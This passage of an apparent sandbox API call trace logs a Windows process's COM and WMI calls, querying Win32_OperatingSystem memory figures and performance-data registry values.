Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0274.723] WbemDefPath:IUnknown:Release (This=0x1b2931a0) returned 0x2 [0274.723] WbemDefPath:IUnknown:Release (This=0x1b2931a0) returned 0x1 [0274.723] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0274.723] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0274.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2931a0, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b2931a0) returned 0x0 [0274.724] WbemDefPath:IUnknown:AddRef (This=0x1b2931a0) returned 0x3 [0274.724] WbemDefPath:IUnknown:Release (This=0x1b2931a0) returned 0x2 [0274.724] WbemDefPath:IWbemPath:SetText (This=0x1b2931a0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0274.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0274.724] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0274.724] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0274.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0274.724] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0274.724] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0274.724] IWbemClassObject:Get (in: This=0x1b268750, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2700e58*=0, plFlavor=0x2700e5c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2700e58*=21, plFlavor=0x2700e5c*=0) returned 0x0 [0274.724] SysStringByteLen (bstr="1359840") returned 0xe [0274.724] SysStringByteLen (bstr="1359840") returned 0xe [0274.725] IWbemClassObject:Get (in: This=0x1b268750, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2700e58*=21, plFlavor=0x2700e5c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2700e58*=21, plFlavor=0x2700e5c*=0) returned 0x0 [0274.725] SysStringByteLen (bstr="1359840") returned 0xe [0274.725] SysStringByteLen (bstr="1359840") returned 0xe [0274.725] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0274.725] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0274.725] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0274.725] IWbemClassObject:Get (in: This=0x1b268750, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2701050*=0, plFlavor=0x2701054*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2701050*=21, plFlavor=0x2701054*=0) returned 0x0 [0274.725] SysStringByteLen (bstr="2096620") returned 0xe [0274.725] SysStringByteLen (bstr="2096620") returned 0xe [0274.725] IWbemClassObject:Get (in: This=0x1b268750, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2701050*=21, plFlavor=0x2701054*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2701050*=21, plFlavor=0x2701054*=0) returned 0x0 [0274.725] SysStringByteLen (bstr="2096620") returned 0xe [0274.725] SysStringByteLen (bstr="2096620") returned 0xe [0274.726] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0274.726] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0274.726] IUnknown:Release (This=0x1b2872e0) returned 0x0 [0276.782] GetTickCount64 () returned 0x1ac1cd0 [0276.785] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0276.789] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27ce620, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27ce620*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0276.792] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0276.795] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27dfa38, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27dfa38*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0276.800] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0276.800] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0276.800] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0276.800] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0276.801] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0276.801] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0276.801] IUnknown:Release (This=0x77dd58) returned 0x1 [0276.803] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218250) returned 0x0 [0276.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218250, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0276.804] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218250, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218210) returned 0x0 [0276.804] WbemLocator:IUnknown:Release (This=0x1d218250) returned 0x0 [0276.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218210) returned 0x0 [0276.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0276.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0276.804] WbemLocator:IUnknown:AddRef (This=0x1d218210) returned 0x3 [0276.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0276.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0276.804] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0276.805] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0276.805] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0276.805] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0276.805] WbemLocator:IUnknown:Release (This=0x1d218210) returned 0x2 [0276.805] WbemLocator:IUnknown:Release (This=0x1d218210) returned 0x1 [0276.805] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0276.805] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0276.805] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218210, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218210) returned 0x0 [0276.805] WbemLocator:IUnknown:AddRef (This=0x1d218210) returned 0x3 [0276.805] WbemLocator:IUnknown:Release (This=0x1d218210) returned 0x2 [0276.806] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0276.806] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0276.806] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0276.806] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d218410) returned 0x0 [0276.806] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d218410, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d290860) returned 0x0 [0277.605] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290860, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b203010) returned 0x0 [0277.605] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b203010, pProxy=0x1d290860, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0277.605] WbemLocator:IUnknown:Release (This=0x1b203010) returned 0x1 [0277.605] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290860, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b203058) returned 0x0 [0277.606] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290860, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b203010) returned 0x0 [0277.606] WbemLocator:IClientSecurity:SetBlanket (This=0x1b203010, pProxy=0x1d290860, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0277.606] WbemLocator:IUnknown:Release (This=0x1b203010) returned 0x2 [0277.606] WbemLocator:IUnknown:Release (This=0x1b203058) returned 0x1 [0277.606] CoTaskMemFree (pv=0x1d1e66f0) [0277.606] WbemLocator:IUnknown:Release (This=0x1d218410) returned 0x0 [0277.606] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290860, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b203058) returned 0x0 [0277.607] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203058, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0277.651] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203058, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0277.776] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290860, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0277.776] WbemLocator:IUnknown:AddRef (This=0x1b203058) returned 0x3 [0277.777] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203058, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0277.777] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203058, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0277.777] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203058, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b202f38) returned 0x0 [0277.777] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202f38, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0277.777] WbemLocator:IUnknown:Release (This=0x1b202f38) returned 0x3 [0277.777] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0277.777] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0277.777] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203058, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b203020) returned 0x0 [0277.778] WbemLocator:IRpcOptions:Query (in: This=0x1b203020, pPrx=0x1b203058, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0277.778] WbemLocator:IUnknown:Release (This=0x1b203020) returned 0x3 [0277.778] WbemLocator:IUnknown:Release (This=0x1b203058) returned 0x2 [0277.778] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0277.778] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0277.778] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203058, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d290860) returned 0x0 [0277.778] WbemLocator:IUnknown:AddRef (This=0x1d290860) returned 0x4 [0277.778] WbemLocator:IUnknown:Release (This=0x1d290860) returned 0x3 [0277.778] WbemLocator:IUnknown:Release (This=0x1d290860) returned 0x2 [0277.778] SysStringLen (param_1=0x0) returned 0x0 [0277.779] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0277.779] WbemLocator:IUnknown:AddRef (This=0x1b203058) returned 0x3 [0277.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203058, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b203058) returned 0x0 [0277.779] WbemLocator:IUnknown:Release (This=0x1b203058) returned 0x3 [0277.779] WbemLocator:IUnknown:Release (This=0x1b203058) returned 0x2 [0277.779] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0277.779] WbemLocator:IUnknown:AddRef (This=0x1d290860) returned 0x3 [0277.779] IWbemServices:ExecQuery (in: This=0x1d290860, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286860) returned 0x0 [0277.782] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286868) returned 0x0 [0277.782] IClientSecurity:QueryBlanket (in: This=0x1b286868, pProxy=0x1b286860, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0277.783] IUnknown:Release (This=0x1b286868) returned 0x1 [0277.783] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b202d18) returned 0x0 [0277.783] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286868) returned 0x0 [0277.783] IClientSecurity:SetBlanket (This=0x1b286868, pProxy=0x1b286860, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0277.799] IUnknown:Release (This=0x1b286868) returned 0x2 [0277.799] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0277.799] CoTaskMemFree (pv=0x1d1e6660) [0277.799] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b202d18) returned 0x0 [0277.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0277.894] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0278.150] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0278.289] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0278.289] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0278.289] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0278.289] 